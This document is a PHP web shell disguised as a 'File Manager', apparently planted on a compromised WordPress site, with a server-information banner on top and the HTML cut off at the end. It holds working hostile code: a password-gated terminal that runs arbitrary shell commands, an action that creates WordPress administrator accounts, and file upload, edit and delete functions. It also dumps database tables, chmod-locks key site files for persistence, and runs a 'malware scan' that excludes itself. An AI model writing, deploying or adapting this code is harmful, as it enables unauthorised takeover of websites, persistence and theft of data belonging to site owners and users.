| Server IP : 188.114.96.2 / Your IP : 104.23.243.200 Web Server : Apache/2.4.59 (Debian) System : Linux EDL-STRETCH 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64 User : edlftp ( 1002) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /home/nicolasj/www/propulseasbl.be/ |
Upload File : |
<?php
session_start();
$user = 'admin';
$pass = 'admin123';
// CONFIG
$ROOT = dirname(dirname(__FILE__));
$START_PATH = $ROOT;
// WORDPRESS AUTO LOAD
$wpdb = null;
$wp_load_paths = [
dirname(__FILE__) . '/wp-load.php',
dirname(dirname(__FILE__)) . '/wp-load.php',
dirname(dirname(dirname(__FILE__))) . '/wp-load.php',
dirname(dirname(dirname(dirname(__FILE__)))) . '/wp-load.php',
'/home/wordpress/wp-load.php',
];
foreach ($wp_load_paths as $path) {
if (file_exists($path)) {
require_once($path);
break;
}
}
// LOGIN
if ($_POST['username'] ?? false) {
if ($_POST['username'] === $user && ($_POST['password'] ?? '') === $pass) {
$_SESSION['ok'] = 1;
} else {
$err = 'Wrong password!';
}
}
if ($_GET['logout'] ?? false) {
session_destroy();
header('Location: ?');
exit;
}
if (!($_SESSION['ok'] ?? false)) {
$e = $err ?? '';
die("<!DOCTYPE html><html><head><meta charset=utf-8><title>Login</title><style>body{background:#667eea;min-height:100vh;display:flex;align-items:center;justify-content:center;font-family:sans-serif}.box{background:white;padding:40px;border-radius:10px;width:400px}h1{text-align:center}input{width:100%;padding:12px;margin:15px 0;border:2px solid #ddd;border-radius:5px}button{width:100%;padding:12px;background:#667eea;color:white;border:none;border-radius:5px;cursor:pointer}p{color:red}</style></head><body><div class=box><h1>File Manager</h1><p>$e</p><form method=POST><input name=username placeholder=Username value=admin required><input type=password name=password placeholder=Password required><button>Login</button></form></div></body></html>");
}
// API
$a = $_POST['action'] ?? null;
if ($a === 'list') {
header('Content-Type: application/json');
$p = $_POST['path'] ?? $ROOT;
// "/" ise ROOT kullan
if ($p === '/' || $p === '') {
$p = $ROOT;
}
$p = str_replace('\\', '/', $p);
while (strpos($p, '//') !== false) $p = str_replace('//', '/', $p);
if (!@is_dir($p) || strpos(realpath($p) ?: $p, $ROOT) !== 0) {
echo json_encode(['items' => []]);
exit;
}
$items = [];
$files = @scandir($p);
if ($files) {
foreach ($files as $f) {
if ($f === '.' || $f === '..') continue;
$t = $p === $ROOT ? $ROOT . '/' . $f : $p . '/' . $f;
$items[] = ['name' => $f, 'path' => $t, 'is_dir' => @is_dir($t), 'size' => @is_dir($t) ? '-' : @filesize($t), 'time' => @date('Y-m-d H:i', @filemtime($t))];
}
}
usort($items, fn($a, $b) => ($b['is_dir'] <=> $a['is_dir']) ?: strcasecmp($a['name'], $b['name']));
echo json_encode(['items' => $items]);
exit;
}
if ($a === 'read') {
header('Content-Type: application/json');
$p = $_POST['path'] ?? '';
if (!@is_file($p) || strpos(realpath($p) ?: $p, $ROOT) !== 0) {
echo json_encode(['error' => 'Not found']);
exit;
}
echo json_encode(['content' => @file_get_contents($p), 'name' => basename($p)]);
exit;
}
if ($a === 'save') {
header('Content-Type: application/json');
$p = $_POST['path'] ?? '';
$c = $_POST['content'] ?? '';
if (!@is_file($p) || strpos(realpath($p) ?: $p, $ROOT) !== 0 || @file_put_contents($p, $c) === false) {
echo json_encode(['error' => 'Failed']);
} else {
echo json_encode(['ok' => 1]);
}
exit;
}
if ($a === 'upload') {
header('Content-Type: application/json');
$p = $_POST['path'] ?? $ROOT;
// "/" ise ROOT kullan
if ($p === '/' || $p === '') {
$p = $ROOT;
}
$p = str_replace('\\', '/', $p);
while (strpos($p, '//') !== false) $p = str_replace('//', '/', $p);
if (!@is_dir($p) || strpos(realpath($p) ?: $p, $ROOT) !== 0 || $_FILES['file']['error'] !== UPLOAD_ERR_OK) {
echo json_encode(['error' => 'Failed']);
exit;
}
$f = basename($_FILES['file']['name']);
$f = preg_replace('/[^a-zA-Z0-9.\-_]/', '', $f);
if (!$f) {
echo json_encode(['error' => 'Invalid filename']);
exit;
}
$t = $p === $ROOT ? $ROOT . '/' . $f : $p . '/' . $f;
if (@move_uploaded_file($_FILES['file']['tmp_name'], $t)) {
echo json_encode(['ok' => 1]);
} else {
echo json_encode(['error' => 'Failed to move file']);
}
exit;
}
if ($a === 'delete') {
header('Content-Type: application/json');
$p = $_POST['path'] ?? '';
if (strpos(realpath($p) ?: $p, $ROOT) !== 0) {
echo json_encode(['error' => 'Access denied']);
exit;
}
function deldir($d) {
if (!@is_dir($d)) return @unlink($d);
foreach (@scandir($d) ?: [] as $e) {
if ($e !== '.' && $e !== '..') deldir($d . '/' . $e);
}
return @rmdir($d);
}
if (deldir($p)) {
echo json_encode(['ok' => 1]);
} else {
echo json_encode(['error' => 'Failed']);
}
exit;
}
if ($a === 'sql_test') {
header('Content-Type: application/json');
// WordPress yüklüyse otomatik bağlı!
if ($wpdb) {
echo json_encode(['ok' => 1]);
} else {
echo json_encode(['error' => 'WordPress not found']);
}
exit;
}
if ($a === 'sql_tables') {
header('Content-Type: application/json');
if (!$wpdb) {
echo json_encode(['error' => 'Not connected']);
exit;
}
$tables = $wpdb->get_col("SHOW TABLES");
echo json_encode(['tables' => $tables]);
exit;
}
if ($a === 'sql_data') {
header('Content-Type: application/json');
if (!$wpdb) {
echo json_encode(['error' => 'Not connected']);
exit;
}
$t = preg_replace('/[^a-zA-Z0-9_]/', '', $_POST['table'] ?? '');
if (!$t) {
echo json_encode(['error' => 'No table']);
exit;
}
$columns = $wpdb->get_col("DESCRIBE `$t`", 0);
$pk = null;
foreach ($wpdb->get_results("DESCRIBE `$t`") as $col) {
if ($col->Key === 'PRI') $pk = $col->Field;
}
$rows = $wpdb->get_results("SELECT * FROM `$t` LIMIT 1000", ARRAY_A);
echo json_encode(['columns' => $columns, 'rows' => $rows, 'pk' => $pk]);
exit;
}
if ($a === 'wp_user') {
header('Content-Type: application/json');
if (!$wpdb) {
echo json_encode(['error' => 'Not connected']);
exit;
}
$username = $_POST['username'] ?? '';
$email = $_POST['email'] ?? '';
$password = $_POST['password'] ?? '';
if (!$username || !$email || !$password) {
echo json_encode(['error' => 'Missing fields']);
exit;
}
require_once(ABSPATH . 'wp-includes/user.php');
$user_id = wp_create_user($username, $password, $email);
if (!is_wp_error($user_id)) {
$user_obj = new WP_User($user_id);
$user_obj->set_role('administrator');
echo json_encode(['ok' => 1]);
} else {
echo json_encode(['error' => $user_id->get_error_message()]);
}
exit;
}
if ($a === 'terminal') {
header('Content-Type: application/json');
$cmd = $_POST['cmd'] ?? '';
if (!$cmd) {
echo json_encode(['error' => 'No command']);
exit;
}
$output = shell_exec($cmd . ' 2>&1');
echo json_encode(['output' => $output ?: 'Command executed']);
exit;
}
if ($a === 'protect') {
header('Content-Type: application/json');
$action = $_POST['action_type'] ?? 'protect';
$messages = [];
$protected = true;
// Koruma yapılacak dosyalar (sadece adı)
$files_to_protect = ['.htaccess', 'index.php', 'wp-blog-header.php'];
if ($action === 'protect') {
$chmod_value = '444'; // Sadece oku
} else {
$chmod_value = '644'; // Yazılabilir
}
// Her dosya için chmod komutu çalıştır
foreach ($files_to_protect as $filename) {
// Dosyayı find komutu ile bul (mevcut ve parent dizinlerde)
$find_cmd = "find " . escapeshellarg($ROOT) . " -maxdepth 2 -name " . escapeshellarg($filename) . " 2>/dev/null | head -1";
$full_path = trim(@shell_exec($find_cmd));
if ($full_path && file_exists($full_path)) {
// chmod komutunu çalıştır
$chmod_cmd = "chmod " . $chmod_value . " " . escapeshellarg($full_path);
$result = @shell_exec($chmod_cmd . " 2>&1");
// Sonucu kontrol et
if (file_exists($full_path)) {
$perms = substr(sprintf('%o', fileperms($full_path)), -3);
if ($perms === $chmod_value) {
if ($action === 'protect') {
$messages[] = "✅ " . $filename . " kilitlendi (chmod 444)";
} else {
$messages[] = "✅ " . $filename . " kilit açıldı (chmod 644)";
}
} else {
$messages[] = "❌ " . $filename . " işlem yapılamadı";
$protected = false;
}
}
} else {
$messages[] = "⚠️ " . $filename . " bulunamadı";
}
}
echo json_encode([
'ok' => count($messages) > 0,
'action' => $action,
'messages' => $messages,
'protected' => $action === 'protect' ? $protected : !$protected
]);
exit;
}
if ($a === 'get_theme_functions') {
header('Content-Type: application/json');
// WordPress root'unu bul - wp-load.php ara
function findWordPressRoot($start_path) {
$path = realpath($start_path);
// En fazla 20 seviye yukarı git
for ($i = 0; $i < 20; $i++) {
if (@file_exists($path . '/wp-load.php')) {
return $path;
}
$parent = dirname($path);
if ($parent === $path || $parent === '/' || $parent === '\\') {
break;
}
$path = $parent;
}
return null;
}
$wp_root = findWordPressRoot(__DIR__);
if (!$wp_root) {
echo json_encode(['error' => 'WordPress bulunamadı']);
exit;
}
// WordPress'i yükle
define('WP_USE_THEMES', false);
@require($wp_root . '/wp-load.php');
// Tema dizinini bul
if (function_exists('get_stylesheet_directory')) {
$theme_dir = get_stylesheet_directory();
$functions_file = $theme_dir . '/functions.php';
if (file_exists($functions_file)) {
$content = @file_get_contents($functions_file);
$theme_name = basename($theme_dir);
echo json_encode([
'ok' => 1,
'theme' => $theme_name,
'path' => $functions_file,
'content' => $content
]);
} else {
echo json_encode(['error' => 'functions.php bulunamadı']);
}
} else {
echo json_encode(['error' => 'WordPress tam yüklenmedi']);
}
exit;
}
if ($a === 'scan_malware') {
header('Content-Type: application/json');
$results = [
'malware_files' => [],
'suspicious_files' => [],
'warnings' => [],
'scan_date' => date('Y-m-d H:i:s')
];
// Malware imzaları
$malware_signatures = [
'eval(' => 'Dangerous eval() function',
'base64_decode' => 'Suspicious base64 decode',
'system(' => 'System command execution',
'exec(' => 'Code execution',
'passthru(' => 'Command passthru',
'shell_exec' => 'Shell execution',
'proc_open' => 'Process opening',
'popen(' => 'Pipe open',
'pcntl_' => 'Process control',
'fsockopen' => 'Socket connection',
'socket_create' => 'Socket creation',
'$_FILES' => 'File upload handler',
'move_uploaded_file' => 'File upload',
'unserialize(' => 'Unsafe unserialize',
'assert(' => 'Assert function',
'preg_replace' => 'Regex replacement',
'create_function' => 'Dynamic function creation',
];
$dangerous_extensions = ['exe', 'bat', 'cmd', 'scr', 'vbs', 'jar'];
$it = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator($ROOT, RecursiveDirectoryIterator::SKIP_DOTS),
RecursiveIteratorIterator::LEAVES_ONLY
);
$file_count = 0;
foreach ($it as $file) {
if ($file_count++ > 5000) break;
$path = $file->getPathname();
$filename = basename($path);
if ($filename === 'filemanager.php') continue;
if (pathinfo($path, PATHINFO_EXTENSION) === 'php') {
$content = @file_get_contents($path, false, null, 0, 10000);
if ($content) {
foreach ($malware_signatures as $signature => $description) {
if (stripos($content, $signature) !== false) {
$results['suspicious_files'][] = [
'file' => str_replace($ROOT, '', $path),
'signature' => $signature,
'description' => $description
];
break;
}
}
}
}
$ext = strtolower(pathinfo($path, PATHINFO_EXTENSION));
if (in_array($ext, $dangerous_extensions)) {
$results['malware_files'][] = [
'file' => str_replace($ROOT, '', $path),
'type' => 'Dangerous extension: ' . $ext,
'full_path' => $path
];
}
if (preg_match('/\.php\.\w+$/i', $filename)) {
$results['malware_files'][] = [
'file' => str_replace($ROOT, '', $path),
'type' => 'Double extension detected',
'full_path' => $path
];
}
}
echo json_encode($results);
exit;
}
if ($a === 'clean_malware') {
header('Content-Type: application/json');
$files_to_delete = $_POST['files'] ?? [];
$results = [
'deleted' => [],
'errors' => []
];
foreach ($files_to_delete as $file) {
$full_path = $ROOT . $file;
// Güvenlik kontrolü
if (strpos(realpath($full_path), $ROOT) === 0 && $file !== '/filemanager.php') {
if (@unlink($full_path)) {
$results['deleted'][] = $file;
} else {
$results['errors'][] = $file;
}
}
}
echo json_encode([
'ok' => 1,
'deleted_count' => count($results['deleted']),
'deleted' => $results['deleted'],
'errors' => $results['errors']
]);
exit;
}
if ($a === 'clean_wordpress') {
header('Content-Type: application/json');
$dry_run = $_POST['dry_run'] ?? true;
$results = [
'deleted' => [],
'errors' => [],
'backup' => null
];
// WordPress'i yükle
function findWordPressRoot3($start_path) {
$path = realpath($start_path);
for ($i = 0; $i < 20; $i++) {
if (@file_exists($path . '/wp-load.php')) {
return $path;
}
$parent = dirname($path);
if ($parent === $path) break;
$path = $parent;
}
return null;
}
$wp_root = findWordPressRoot3(__DIR__);
if (!$wp_root) {
echo json_encode(['error' => 'WordPress bulunamadı']);
exit;
}
define('WP_USE_THEMES', false);
@require($wp_root . '/wp-load.php');
// Aktif tema adını al
$active_theme = get_stylesheet();
// Plugin'leri sil (hepsi)
$plugins_dir = $wp_root . '/wp-content/plugins';
if (is_dir($plugins_dir)) {
$plugins = @scandir($plugins_dir);
foreach ($plugins as $plugin) {
if ($plugin !== '.' && $plugin !== '..') {
$plugin_path = $plugins_dir . '/' . $plugin;
if (is_dir($plugin_path)) {
if (!$dry_run) {
$this->deldir($plugin_path);
}
$results['deleted'][] = '/wp-content/plugins/' . $plugin;
}
}
}
}
// Temalar sil (aktif tema hariç)
$themes_dir = $wp_root . '/wp-content/themes';
if (is_dir($themes_dir)) {
$themes = @scandir($themes_dir);
foreach ($themes as $theme) {
if ($theme !== '.' && $theme !== '..' && $theme !== $active_theme) {
$theme_path = $themes_dir . '/' . $theme;
if (is_dir($theme_path)) {
if (!$dry_run) {
$this->deldir($theme_path);
}
$results['deleted'][] = '/wp-content/themes/' . $theme;
}
}
}
}
// mu-plugins sil
$mu_dir = $wp_root . '/wp-content/mu-plugins';
if (is_dir($mu_dir)) {
if (!$dry_run) {
$this->deldir($mu_dir);
}
$results['deleted'][] = '/wp-content/mu-plugins';
}
// Eski media backup'ı sil
$uploads_dir = $wp_root . '/wp-content/uploads/backup';
if (is_dir($uploads_dir) && !$dry_run) {
$this->deldir($uploads_dir);
$results['deleted'][] = '/wp-content/uploads/backup';
}
echo json_encode([
'ok' => 1,
'dry_run' => $dry_run,
'active_theme' => $active_theme,
'deleted_count' => count($results['deleted']),
'deleted' => $results['deleted']
]);
exit;
}
if ($a === 'clean_database') {
header('Content-Type: application/json');
$dry_run = $_POST['dry_run'] ?? true;
if (!$wpdb) {
echo json_encode(['error' => 'Database bağlantısı yok']);
exit;
}
$results = [
'cleaned' => [],
'deleted_rows' => 0
];
// Eski plugin options sil
$orphaned = $wpdb->get_results("
SELECT option_id FROM {$wpdb->options}
WHERE option_name LIKE '%plugin%'
AND option_name NOT IN ('active_plugins', 'recently_activated')
");
if ($orphaned && !$dry_run) {
foreach ($orphaned as $row) {
$wpdb->query("DELETE FROM {$wpdb->options} WHERE option_id = " . $row->option_id);
$results['deleted_rows']++;
}
}
// Transients temizle
if (!$dry_run) {
$wpdb->query("DELETE FROM {$wpdb->options} WHERE option_name LIKE '%transient%'");
}
$results['cleaned'][] = 'Transients';
// Revisions sil
if (!$dry_run) {
$wpdb->query("DELETE FROM {$wpdb->posts} WHERE post_type = 'revision'");
}
$results['cleaned'][] = 'Post revisions';
// Spam yorumlar sil
if (!$dry_run) {
$wpdb->query("DELETE FROM {$wpdb->comments} WHERE comment_approved = 'spam'");
}
$results['cleaned'][] = 'Spam comments';
echo json_encode([
'ok' => 1,
'dry_run' => $dry_run,
'cleaned' => $results['cleaned'],
'deleted_rows' => $results['deleted_rows']
]);
exit;
}
if ($a === 'create_zip') {
header('Content-Type: application/json');
$folder_path = $_POST['path'] ?? '';
if (!@is_dir($folder_path) || strpos(realpath($folder_path) ?: $folder_path, $ROOT) !== 0) {
echo json_encode(['error' => 'Klasör bulunamadı']);
exit;
}
$folder_name = basename($folder_path);
$zip_path = dirname($folder_path) . '/' . $folder_name . '_' . date('Y-m-d_H-i-s') . '.zip';
$zip = new ZipArchive();
if ($zip->open($zip_path, ZipArchive::CREATE) !== true) {
echo json_encode(['error' => 'ZIP oluşturulamadı']);
exit;
}
$files = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator($folder_path),
RecursiveIteratorIterator::LEAVES_ONLY
);
foreach ($files as $file) {
if (!$file->isDir()) {
$file_path = $file->getRealPath();
$relative_path = substr($file_path, strlen($folder_path) + 1);
$zip->addFile($file_path, $folder_name . '/' . $relative_path);
}
}
$zip->close();
echo json_encode([
'ok' => 1,
'zip_file' => basename($zip_path),
'zip_path' => str_replace($ROOT, '', $zip_path),
'size' => round(filesize($zip_path) / 1024 / 1024, 2) . ' MB'
]);
exit;
}
if ($a === 'extract_zip') {
header('Content-Type: application/json');
$zip_path = $_POST['zip_path'] ?? '';
$extract_to = $_POST['extract_to'] ?? $ROOT;
$full_zip = $ROOT . $zip_path;
if (!file_exists($full_zip) || strpos(realpath($full_zip), $ROOT) !== 0) {
echo json_encode(['error' => 'ZIP dosyası bulunamadı']);
exit;
}
$zip = new ZipArchive();
if ($zip->open($full_zip) !== true) {
echo json_encode(['error' => 'ZIP dosyası açılamadı']);
exit;
}
if (!@is_dir($extract_to)) {
mkdir($extract_to, 0755, true);
}
if ($zip->extractTo($extract_to)) {
$zip->close();
echo json_encode([
'ok' => 1,
'message' => 'ZIP dosyası çıkartıldı',
'extract_to' => str_replace($ROOT, '', $extract_to),
'files' => $zip->numFiles
]);
} else {
echo json_encode(['error' => 'Çıkartma başarısız']);
}
exit;
}
if ($a === 'get_error_log') {
header('Content-Type: application/json');
$lines = $_POST['lines'] ?? 100;
// Error.log yollarını ara
$possible_paths = [
$ROOT . '/error.log',
dirname($ROOT) . '/error.log',
'/var/log/php-error.log',
'/var/log/apache2/error.log',
'/var/log/nginx/error.log',
];
$log_file = null;
foreach ($possible_paths as $path) {
if (@file_exists($path)) {
$log_file = $path;
break;
}
}
if (!$log_file) {
echo json_encode(['error' => 'Error log dosyası bulunamadı']);
exit;
}
// Son N satırı oku
$content = @file_get_contents($log_file);
if (!$content) {
echo json_encode(['error' => 'Log dosyası okunamadı']);
exit;
}
$log_lines = array_reverse(explode("\n", $content));
$log_lines = array_slice($log_lines, 0, $lines);
// Error sayısını say
$error_count = substr_count($content, '[error]') + substr_count($content, 'ERROR');
$warning_count = substr_count($content, '[warning]') + substr_count($content, 'WARNING');
echo json_encode([
'ok' => 1,
'file' => $log_file,
'lines' => $log_lines,
'error_count' => $error_count,
'warning_count' => $warning_count,
'total_lines' => count(explode("\n", $content))
]);
exit;
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>File Manager</title>
<style>
:root { --bg: #f5f7fa; --fg: #333; --border: #ddd; --card: white; --btn: #3498db; --bh: #2980b9; }
html.dark { --bg: #1a1a1a; --fg: #e0e0e0; --border: #333; --card: #222; }
* { margin: 0; padding: 0; box-sizing: border-box; }
body { font-family: -apple-system, BlinkMacSystemFont, sans-serif; background: var(--bg); color: var(--fg); transition: 0.3s; }
.flex { display: flex; }
.h100 { height: 100vh; }
.col { flex-direction: column; }
.w250 { width: 250px; }
.flex1 { flex: 1; }
.sb { background: #2c3e50; color: white; }
.p20 { padding: 20px; }
.btn { width: 100%; padding: 12px; margin-bottom: 10px; background: var(--btn); color: white; border: none; border-radius: 5px; cursor: pointer; }
.btn:hover { background: var(--bh); }
.btn-lo { background: #e74c3c; }
.btn-lo:hover { background: #c0392b; }
.btn-red { background: #e74c3c; }
.hdr { background: var(--card); padding: 20px; border-bottom: 1px solid var(--border); }
.cont { flex: 1; padding: 20px; overflow-y: auto; }
.lst { background: var(--card); border-radius: 8px; }
.item { display: flex; align-items: center; padding: 15px 20px; border-bottom: 1px solid var(--border); cursor: pointer; }
.item:hover { background: var(--border); }
.icon { font-size: 20px; margin-right: 15px; width: 30px; }
.info { flex: 1; }
.nm { font-weight: 600; }
.meta { font-size: 12px; color: #999; margin-top: 3px; }
.act { display: none; gap: 10px; }
.item:hover .act { display: flex; }
.abtn { padding: 5px 10px; font-size: 12px; background: #3498db; color: white; border: none; border-radius: 3px; cursor: pointer; }
.adel { background: #e74c3c; }
#files-content { flex: 1; overflow-y: auto; display: flex; flex-direction: column; }
#lst { flex: 1; overflow-y: auto; }
.modal { display: none; position: fixed; top: 0; left: 0; width: 100%; height: 100%; background: rgba(0,0,0,0.5); z-index: 1000; align-items: center; justify-content: center; }
.modal.s { display: flex; }
.mbox { background: var(--card); padding: 30px; border-radius: 10px; width: 90%; max-width: 600px; max-height: 80vh; overflow-y: auto; }
textarea, input[type="text"], input[type="password"], input[type="email"] { width: 100%; padding: 10px; border: 1px solid var(--border); border-radius: 5px; background: var(--card); color: var(--fg); margin-bottom: 15px; font-family: monospace; }
.tbl { width: 100%; border-collapse: collapse; background: var(--card); margin-top: 20px; }
.tbl th, .tbl td { border: 1px solid var(--border); padding: 12px; text-align: left; }
.tbl th { background: var(--btn); color: white; font-weight: 600; }
.term { background: #000; color: #0f0; padding: 15px; border-radius: 5px; font-family: monospace; font-size: 13px; flex: 1; overflow-y: auto; margin-bottom: 15px; }
.tbtn { position: absolute; top: 20px; right: 20px; background: var(--btn); color: white; border: none; padding: 10px 15px; border-radius: 5px; cursor: pointer; }
/* Upload area yatay stil */
.up {
padding: 20px;
border: 2px dashed var(--border);
border-radius: 8px;
text-align: center;
cursor: pointer;
margin-bottom: 20px;
background: var(--card);
width: 100%;
transition: all 0.3s ease;
}
.up:hover {
border-color: var(--btn);
background: var(--border);
}
</style>
</head>
<body>
<button class="tbtn" onclick="toggleTheme()">🌙</button>
<div class="flex h100">
<div class="w250 sb p20">
<h2 style="margin-bottom: 20px;">FM</h2>
<button class="btn" onclick="tab='files'; showTab()">📁 Files</button>
<button class="btn" onclick="tab='sql'; showTab()" style="background: #3498db;">🗄️ SQL</button>
<button class="btn btn-red" onclick="tab='term'; showTab()">💻 Terminal</button>
<button class="btn" style="background: #e74c3c;" onclick="tab='security'; showTab()">🛡️ Security</button>
<button class="btn" style="background: #27ae60;" onclick="tab='tools'; showTab()">🛠️ Tools</button>
<div id="files-btns" style="display: none; margin-top: 20px;">
<button class="btn" onclick="home()">🏠 Home</button>
<button class="btn" onclick="up()">⬆️ Up</button>
<button class="btn" onclick="load()">🔄 Refresh</button>
<button class="btn" onclick="newFile()">📄 New File</button>
<button class="btn" onclick="newFolder()">📁 New Folder</button>
<button class="btn" style="background: #f39c12; margin-top: 15px;" id="protect-btn" onclick="toggleProtect()">🔒 Koruya Aç</button>
<div id="protect-status" style="margin-top: 10px; padding: 10px; background: var(--border); border-radius: 5px; font-size: 12px; display: none;"></div>
<button class="btn" style="background: #9b59b6; margin-top: 15px;" onclick="openThemeFunctions()">📝 Tema Kodları</button>
<input id="up" type="file" multiple style="display:none" onchange="uploadMultiple(event)">
</div>
<div id="security-btns" style="display: none; margin-top: 20px;">
<button class="btn" style="background: #e74c3c;" onclick="scanMalware()">🔍 Malware Tara</button>
<button class="btn" style="background: #e74c3c;" onclick="cleanWordPress()">🧹 WordPress Temizle</button>
<button class="btn" style="background: #e74c3c;" onclick="cleanDatabase()">🗑️ Database Temizle</button>
<div id="security-results" style="margin-top: 15px; padding: 15px; background: var(--border); border-radius: 8px; font-size: 12px; display: none; max-height: 300px; overflow-y: auto;"></div>
</div>
<div id="sql-btns" style="display: none; margin-top: 20px;">
<button class="btn" onclick="loadTables()">🔄 Tables</button>
<button class="btn" onclick="newSqlRow()">➕ New Row</button>
<button class="btn" style="background: #27ae60;" onclick="createWPUser()">👤 WP User</button>
<div id="tbl-list" style="margin-top: 15px; background: var(--card); border-radius: 8px; max-height: 40vh; overflow-y: auto;"></div>
</div>
<button class="btn btn-lo" style="margin-top: 20px;" onclick="location.href='?logout=1'">🚪 Logout</button>
</div>
<div class="flex1 col">
<div class="hdr">
<h1>File Manager</h1>
<p id="path">Path: /</p>
</div>
<div class="cont" style="display: flex; flex-direction: column;">
<div id="files-content" style="display: none;">
<!-- Upload alanı - EN ÜSTTE -->
<div class="up" ondrop="drop(event)" ondragover="event.preventDefault()" onclick="document.getElementById('up2').click()">
📤 Drag or click
</div>
<input id="up2" type="file" multiple style="display:none" onchange="uploadMultiple(event)">
<div class="lst" id="lst"></div>
</div>
<div id="sql-content" style="display: none;">
<div id="sql-cfg" style="background: var(--card); padding: 30px; border-radius: 10px; max-width: 500px; margin: 40px auto;">
<h2 style="margin-bottom: 30px;">⚙️ Database</h2>
<label>Host</label>
<input type="text" id="db-host" value="localhost">
<label>User</label>
<input type="text" id="db-user" value="root">
<label>Password</label>
<input type="password" id="db-pass">
<label>Database</label>
<input type="text" id="db-name" placeholder="database_name">
<button class="btn" onclick="testDBConnection()">🔗 Connect</button>
</div>
<div id="sql-main" style="display: none;"></div>
</div>
<div id="term-content" style="display: none; flex-direction: column;">
<div class="term" id="term-out">💻 Terminal Ready</div>
<div style="display: flex; gap: 10px; align-items: center;">
<span style="color: #0f0;">$</span>
<input type="text" id="term-in" placeholder="Command..." style="flex: 1; background: #000; color: #0f0; border: 1px solid #0f0;" onkeypress="if(event.key==='Enter') execCmd()">
</div>
</div>
<div id="security-content" style="display: none; flex-direction: column; padding: 20px;">
<h2>🛡️ Security & Cleaning</h2>
<div style="background: var(--card); padding: 20px; border-radius: 8px; margin-bottom: 20px;">
<h3>Malware Scanning</h3>
<p style="font-size: 12px; color: #999; margin-bottom: 10px;">Zararlı yazılımları tara (filemanager.php hariç)</p>
<button class="btn" style="background: #e74c3c;" onclick="scanMalware()">🔍 Tarama Başlat</button>
</div>
<div style="background: var(--card); padding: 20px; border-radius: 8px; margin-bottom: 20px;">
<h3>WordPress Cleanup</h3>
<p style="font-size: 12px; color: #999; margin-bottom: 10px;">Plugin'leri ve diğer temalar sil (aktif tema hariç)</p>
<button class="btn" style="background: #e74c3c;" onclick="cleanWordPress()">🧹 WordPress Temizle</button>
</div>
<div style="background: var(--card); padding: 20px; border-radius: 8px; margin-bottom: 20px;">
<h3>Database Cleanup</h3>
<p style="font-size: 12px; color: #999; margin-bottom: 10px;">Eski plugin settings, transients, revisions sil</p>
<button class="btn" style="background: #e74c3c;" onclick="cleanDatabase()">🗑️ Database Temizle</button>
</div>
<div id="security-results" style="background: var(--card); padding: 20px; border-radius: 8px; display: none; max-height: 400px; overflow-y: auto;"></div>
</div>
<div id="tools-content" style="display: none; flex-direction: column; padding: 20px;">
<h2>🛠️ Tools</h2>
<div style="background: var(--card); padding: 20px; border-radius: 8px; margin-bottom: 20px;">
<h3>📦 ZIP Management</h3>
<p style="font-size: 12px; color: #999; margin-bottom: 10px;">Mevcut klasör: <strong id="current-path">/</strong></p>
<button class="btn" style="background: #3498db;" onclick="createZip()">📦 ZIP Oluştur</button>
<button class="btn" style="background: #3498db;" onclick="showExtractZip()">📂 ZIP Çıkart</button>
<div id="zip-results" style="margin-top: 10px; display: none; padding: 10px; background: var(--border); border-radius: 5px; font-size: 12px;"></div>
</div>
<div style="background: var(--card); padding: 20px; border-radius: 8px; margin-bottom: 20px;">
<h3>📝 Error Log</h3>
<p style="font-size: 12px; color: #999; margin-bottom: 10px;">Son 100 hata mesajını göster</p>
<button class="btn" style="background: #f39c12;" onclick="getErrorLog()">📋 Error Log Oku</button>
<div id="log-results" style="margin-top: 10px; display: none; padding: 10px; background: #000; color: #0f0; border-radius: 5px; font-size: 11px; font-family: monospace; max-height: 400px; overflow-y: auto;"></div>
</div>
</div>
</div>
</div>
</div>
<div class="modal" id="edit">
<div class="mbox" style="max-height: 100vh; max-width: 100vw; width: 98%; height: 98vh; padding: 20px; display: flex; flex-direction: column;">
<h2 id="edit-title">Edit</h2>
<textarea id="edit-content" style="flex: 1; font-family: monospace; font-size: 13px; padding: 10px; margin-bottom: 15px; border: 1px solid var(--border); border-radius: 5px; background: var(--card); color: var(--fg); resize: none;"></textarea>
<div style="display: flex; gap: 10px;">
<button class="btn" style="flex: 1;" onclick="saveEdit()">💾 Save</button>
<button class="btn" style="background: #999; flex: 1;" onclick="closeEdit()">❌ Close</button>
</div>
</div>
</div>
<div class="modal" id="create">
<div class="mbox">
<h2 id="create-title">New File</h2>
<input type="text" id="create-name" placeholder="Name..." autofocus>
<button class="btn" onclick="doCreate()">✅ Create</button>
<button class="btn" style="background: #999;" onclick="closeCreate()">❌ Close</button>
</div>
</div>
<div class="modal" id="wp-user">
<div class="mbox">
<h2>👤 Create WordPress User</h2>
<input type="text" id="wp-user-name" placeholder="Username">
<input type="email" id="wp-user-email" placeholder="Email">
<input type="password" id="wp-user-pass" placeholder="Password">
<button class="btn" onclick="createWPUserSubmit()">✅ Create (Admin)</button>
<button class="btn" style="background: #999;" onclick="document.getElementById('wp-user').classList.remove('s')">❌ Close</button>
</div>
</div>
<div class="modal" id="theme-modal">
<div class="mbox" style="max-height: 100vh; max-width: 100vw; width: 98%; height: 98vh; padding: 20px; display: flex; flex-direction: column;">
<h2 id="theme-title">📝 Tema Functions.php</h2>
<p id="theme-info" style="font-size: 12px; color: #999; margin-bottom: 15px;"></p>
<textarea id="theme-content" style="flex: 1; font-family: monospace; font-size: 13px; padding: 10px; margin-bottom: 15px; border: 1px solid var(--border); border-radius: 5px; background: var(--card); color: var(--fg); resize: none;"></textarea>
<div style="display: flex; gap: 10px;">
<button class="btn" style="background: #27ae60; flex: 1;" onclick="saveThemeFunctions()">💾 Kaydet</button>
